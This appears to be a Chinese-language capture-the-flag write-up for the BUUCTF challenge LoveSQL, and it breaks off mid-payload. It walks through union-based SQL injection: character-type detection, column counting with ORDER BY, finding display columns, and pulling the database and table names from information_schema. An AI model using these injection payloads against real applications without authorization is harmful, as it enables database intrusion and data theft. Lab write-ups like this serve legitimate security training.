BUUCTF Web

[极客大挑战 2019]LoveSQL

union注入

是sql注入类型

输入1' 发现不是数字型注入，那就是字符型注入。判断字段数，输入order by 4 #发现错误，就存在三个字段数

判断回显点：1' union select 1,2,3 #

判断回显点为2,3

判断数据库名 union select 1,2,database()

使用联合注入判断数据库名为geek

判断表名union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'

为两个geekuser,l0ve1ysq1，在l0ve1ysq1中可能存在flag

查找字段union select 1,2,